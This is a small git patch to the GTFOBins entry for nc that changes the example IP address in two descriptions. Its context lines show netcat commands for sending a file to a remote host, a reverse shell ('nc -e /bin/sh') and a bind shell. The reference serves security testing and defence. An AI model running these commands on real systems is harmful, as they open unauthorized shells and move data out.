From 4303bf854b698b8249c3aaa37bdb6b8ee9ec71f8 Mon Sep 17 00:00:00 2001 From: Andrea Cardaci Date: Wed, 23 May 2018 00:29:51 +0200 Subject: [PATCH] Use the same IP for examples --- _gtfobins/nc.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/_gtfobins/nc.md b/_gtfobins/nc.md index 59e2264..5605401 100644 --- a/_gtfobins/nc.md +++ b/_gtfobins/nc.md @@ -9,7 +9,7 @@ functions: LFILE=file_to_send nc $RHOST $RPORT < "$LFILE" download: - - description: Fetch remote file from a remote TCP port. Run `nc 10.0.0.2 8000 < "file_to_send"` to send the file from the other end. + - description: Fetch remote file from a remote TCP port. Run `nc 10.0.0.1 8000 < "file_to_send"` to send the file from the other end. code: |- LPORT=8000 LFILE=where_to_save @@ -21,7 +21,7 @@ functions: RPORT=8000 nc -e /bin/sh $RHOST $RPORT bind-shell: - - description: Run `nc 10.0.0.2 8000` to connect to the shell on the other end. + - description: Run `nc 10.0.0.1 8000` to connect to the shell on the other end. code: | LPORT=8000 nc -l -p $LPORT -e /bin/sh